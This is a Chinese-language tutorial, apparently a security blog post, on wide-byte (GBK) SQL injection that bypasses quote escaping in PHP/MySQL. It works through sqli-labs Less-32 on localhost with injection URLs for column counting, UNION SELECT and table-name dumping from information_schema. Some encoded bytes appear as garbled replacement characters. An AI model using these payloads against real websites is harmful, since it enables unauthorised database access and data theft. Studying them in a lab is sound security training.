sql–宽字节注入

2020-04-07 16:39:12 浏览数 (1)

文章源自【字节脉搏社区】-字节脉搏实验室

作者-墨子辰

宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

宽字节注入是利用msql的一个特性,mysql在使用GBK编码的时候,会认为俩个字符是一个汉字GBK编码,它的编码范围是0×8140~0xFEFE(不包括xx7F),在遇到�(ascii(223)) >ascii(128)时自动拼接,因此吃掉‘’,而'、 小于ascii(128)的字符就保留了。通常导致编码转换的注入问题,尤其是使用php连接mysql数据库的时候,一个gbk汉字占两个字节,取值范围是(编码位数):第一个字节是(129-254),第二个字节(64-254)当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字。

gbk 两个字节 gb2312两个字节 utg-8 三个字节

https://the-x.cn/UrlDecode.aspx 在线解码编码(百度就能找到)

' 编码为:'

�' 解码为:猏'

这样就能够把 ' 逃逸出来

我们以 sqli-labs靶机试试(如需下载按照,请自行百度)

http://localhost/sqli-labs-master/Less-32/?id=1'

可以看见'前面加了,如果是在实战中,这不会有显示。所有,我们在探测sql的时候,如果加上单引号没反应,我们不妨试试�'

http://localhost/sqli-labs-master/Less-32/?id=1�'

http://localhost/sqli-labs-master/Less-32/?id=1�' order by 3#

多次测试,得到字段数目为3

http://localhost/sqli-labs-master/Less-32/?id=1�' union select 1,2,3#

http://localhost/sqli-labs-master/Less-32/?id=1�' union select 1,2,database()#

执行上述url如果没有反应,这时候我们应该考虑注入一个不存在的id(负数)

http://localhost/sqli-labs-master/Less-32/?id=-1�' union select 1,database(),3#

http://localhost/sqli-labs-master/Less-32/?id=-1�' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

group_concat(table_name) 列出所有列表名称

如果不使用group_concat(table_name)只能列出单个表名

后面就是查看表里面的东西了。

如果有兴趣,推荐去南邮CTF里面做一做 GBK Injection

0 人点赞